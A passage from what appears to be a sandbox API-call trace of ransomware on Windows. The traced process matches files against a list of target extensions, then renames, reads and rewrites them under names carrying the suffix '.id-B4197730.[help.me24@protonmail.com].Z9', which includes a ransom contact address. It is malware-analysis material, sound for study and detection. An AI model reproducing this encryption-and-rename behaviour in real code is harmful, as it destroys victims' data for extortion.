	[0090.314] lstrlenW (lpString=".7z") returned 3
	[0090.314] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.314] lstrlenW (lpString=".dbf") returned 4
	[0090.314] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.314] lstrlenW (lpString=".1cd") returned 4
	[0090.314] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.314] lstrlenW (lpString=".jpg") returned 4
	[0090.314] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.314] lstrlenW (lpString=".doc") returned 4
	[0090.314] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.314] lstrlenW (lpString=".docx") returned 5
	[0090.314] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.314] lstrlenW (lpString=".pdf") returned 4
	[0090.314] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.314] lstrlenW (lpString=".xls") returned 4
	[0090.314] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.314] lstrlenW (lpString=".xlsx") returned 5
	[0090.314] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.314] lstrlenW (lpString=".ppt") returned 4
	[0090.314] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.314] lstrlenW (lpString=".zip") returned 4
	[0090.314] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.314] lstrlenW (lpString=".rar") returned 4
	[0090.314] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.314] lstrlenW (lpString=".bz2") returned 4
	[0090.314] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.314] lstrlenW (lpString=".7z") returned 3
	[0090.315] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.315] lstrlenW (lpString=".dbf") returned 4
	[0090.315] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.315] lstrlenW (lpString=".1cd") returned 4
	[0090.315] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.315] lstrlenW (lpString=".jpg") returned 4
	[0090.315] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.315] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.315] lstrlenW (lpString="micaut.dll.mui") returned 14
	[0090.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.316] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9216) returned 1
	[0090.316] CloseHandle (hObject=0x300) returned 1
	[0090.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20
	[0090.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.320] lstrlenW (lpString=".doc") returned 4
	[0090.320] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.320] lstrlenW (lpString=".docx") returned 5
	[0090.320] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.320] lstrlenW (lpString=".pdf") returned 4
	[0090.320] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.320] lstrlenW (lpString=".xls") returned 4
	[0090.320] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.320] lstrlenW (lpString=".xlsx") returned 5
	[0090.320] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.320] lstrlenW (lpString=".ppt") returned 4
	[0090.320] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.320] lstrlenW (lpString=".zip") returned 4
	[0090.320] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.320] lstrlenW (lpString=".rar") returned 4
	[0090.320] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.320] lstrlenW (lpString=".bz2") returned 4
	[0090.321] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.321] lstrlenW (lpString=".7z") returned 3
	[0090.321] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.321] lstrlenW (lpString=".dbf") returned 4
	[0090.321] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.321] lstrlenW (lpString=".1cd") returned 4
	[0090.321] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.321] lstrlenW (lpString=".jpg") returned 4
	[0090.321] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.321] lstrlenW (lpString=".doc") returned 4
	[0090.321] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.321] lstrlenW (lpString=".docx") returned 5
	[0090.321] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.321] lstrlenW (lpString=".pdf") returned 4
	[0090.321] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.321] lstrlenW (lpString=".xls") returned 4
	[0090.321] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.321] lstrlenW (lpString=".xlsx") returned 5
	[0090.321] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.321] lstrlenW (lpString=".ppt") returned 4
	[0090.321] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.321] lstrlenW (lpString=".zip") returned 4
	[0090.321] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.321] lstrlenW (lpString=".rar") returned 4
	[0090.321] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.321] lstrlenW (lpString=".bz2") returned 4
	[0090.321] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.321] lstrlenW (lpString=".7z") returned 3
	[0090.321] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.322] lstrlenW (lpString=".dbf") returned 4
	[0090.322] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.322] lstrlenW (lpString=".1cd") returned 4
	[0090.322] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0090.322] lstrlenW (lpString=".jpg") returned 4
	[0090.322] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.322] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.322] lstrlenW (lpString="rtscom.dll.mui") returned 14
	[0090.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.323] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3072) returned 1
	[0090.323] CloseHandle (hObject=0x300) returned 1
	[0090.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20
	[0090.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.324] lstrlenW (lpString=".doc") returned 4
	[0090.324] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.324] lstrlenW (lpString=".docx") returned 5
	[0090.324] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.324] lstrlenW (lpString=".pdf") returned 4
	[0090.324] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.324] lstrlenW (lpString=".xls") returned 4
	[0090.324] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.324] lstrlenW (lpString=".xlsx") returned 5
	[0090.324] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.324] lstrlenW (lpString=".ppt") returned 4
	[0090.324] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.324] lstrlenW (lpString=".zip") returned 4
	[0090.324] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.324] lstrlenW (lpString=".rar") returned 4
	[0090.324] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.324] lstrlenW (lpString=".bz2") returned 4
	[0090.324] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.324] lstrlenW (lpString=".7z") returned 3
	[0090.324] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.324] lstrlenW (lpString=".dbf") returned 4
	[0090.324] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.324] lstrlenW (lpString=".1cd") returned 4
	[0090.324] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.324] lstrlenW (lpString=".jpg") returned 4
	[0090.325] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.325] lstrlenW (lpString=".doc") returned 4
	[0090.325] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.325] lstrlenW (lpString=".docx") returned 5
	[0090.325] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.325] lstrlenW (lpString=".pdf") returned 4
	[0090.325] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.325] lstrlenW (lpString=".xls") returned 4
	[0090.325] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.325] lstrlenW (lpString=".xlsx") returned 5
	[0090.325] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.325] lstrlenW (lpString=".ppt") returned 4
	[0090.325] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.325] lstrlenW (lpString=".zip") returned 4
	[0090.325] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.325] lstrlenW (lpString=".rar") returned 4
	[0090.325] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.325] lstrlenW (lpString=".bz2") returned 4
	[0090.325] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.325] lstrlenW (lpString=".7z") returned 3
	[0090.325] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.325] lstrlenW (lpString=".dbf") returned 4
	[0090.325] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.325] lstrlenW (lpString=".1cd") returned 4
	[0090.325] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned 71
	[0090.325] lstrlenW (lpString=".jpg") returned 4
	[0090.325] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.326] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.326] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22
	[0090.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.329] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=44032) returned 1
	[0090.329] CloseHandle (hObject=0x300) returned 1
	[0090.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20
	[0090.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.330] lstrlenW (lpString=".doc") returned 4
	[0090.330] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.331] lstrlenW (lpString=".docx") returned 5
	[0090.331] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0090.331] lstrlenW (lpString=".pdf") returned 4
	[0090.331] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.331] lstrlenW (lpString=".xls") returned 4
	[0090.331] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.331] lstrlenW (lpString=".xlsx") returned 5
	[0090.331] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0090.331] lstrlenW (lpString=".ppt") returned 4
	[0090.331] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.331] lstrlenW (lpString=".zip") returned 4
	[0090.331] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.331] lstrlenW (lpString=".rar") returned 4
	[0090.331] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.331] lstrlenW (lpString=".bz2") returned 4
	[0090.331] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.331] lstrlenW (lpString=".7z") returned 3
	[0090.331] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.331] lstrlenW (lpString=".dbf") returned 4
	[0090.331] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.331] lstrlenW (lpString=".1cd") returned 4
	[0090.332] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.332] lstrlenW (lpString=".jpg") returned 4
	[0090.332] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.332] lstrlenW (lpString=".doc") returned 4
	[0090.332] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.332] lstrlenW (lpString=".docx") returned 5
	[0090.332] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0090.332] lstrlenW (lpString=".pdf") returned 4
	[0090.332] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.332] lstrlenW (lpString=".xls") returned 4
	[0090.332] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.332] lstrlenW (lpString=".xlsx") returned 5
	[0090.332] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0090.332] lstrlenW (lpString=".ppt") returned 4
	[0090.332] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.332] lstrlenW (lpString=".zip") returned 4
	[0090.332] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.332] lstrlenW (lpString=".rar") returned 4
	[0090.332] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.332] lstrlenW (lpString=".bz2") returned 4
	[0090.332] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.332] lstrlenW (lpString=".7z") returned 3
	[0090.332] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.332] lstrlenW (lpString=".dbf") returned 4
	[0090.332] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.332] lstrlenW (lpString=".1cd") returned 4
	[0090.333] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79
	[0090.333] lstrlenW (lpString=".jpg") returned 4
	[0090.333] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.333] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.333] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0090.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.336] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9728) returned 1
	[0090.336] CloseHandle (hObject=0x300) returned 1
	[0090.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20
	[0090.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0090.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0090.344] lstrlenW (lpString=".doc") returned 4
	[0090.345] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.345] lstrlenW (lpString=".docx") returned 5
	[0090.345] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.345] lstrlenW (lpString=".pdf") returned 4
	[0090.345] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.345] lstrlenW (lpString=".xls") returned 4
	[0090.345] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.345] lstrlenW (lpString=".xlsx") returned 5
	[0090.345] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.345] lstrlenW (lpString=".ppt") returned 4
	[0090.345] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0090.345] lstrlenW (lpString=".zip") returned 4
	[0090.345] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.345] lstrlenW (lpString=".rar") returned 4
	[0090.345] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.345] lstrlenW (lpString=".bz2") returned 4
	[0090.345] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.345] lstrlenW (lpString=".7z") returned 3
	[0090.345] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0090.345] lstrlenW (lpString=".dbf") returned 4
	[0090.345] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0090.373] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.374] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.374] GetLastError () returned 0x0
	[0090.374] ReadFile (in: hFile=0x300, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x58cd0, lpOverlapped=0x0) returned 1
	[0090.383] WriteFile (in: hFile=0x370, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x58ce0, lpOverlapped=0x0) returned 1
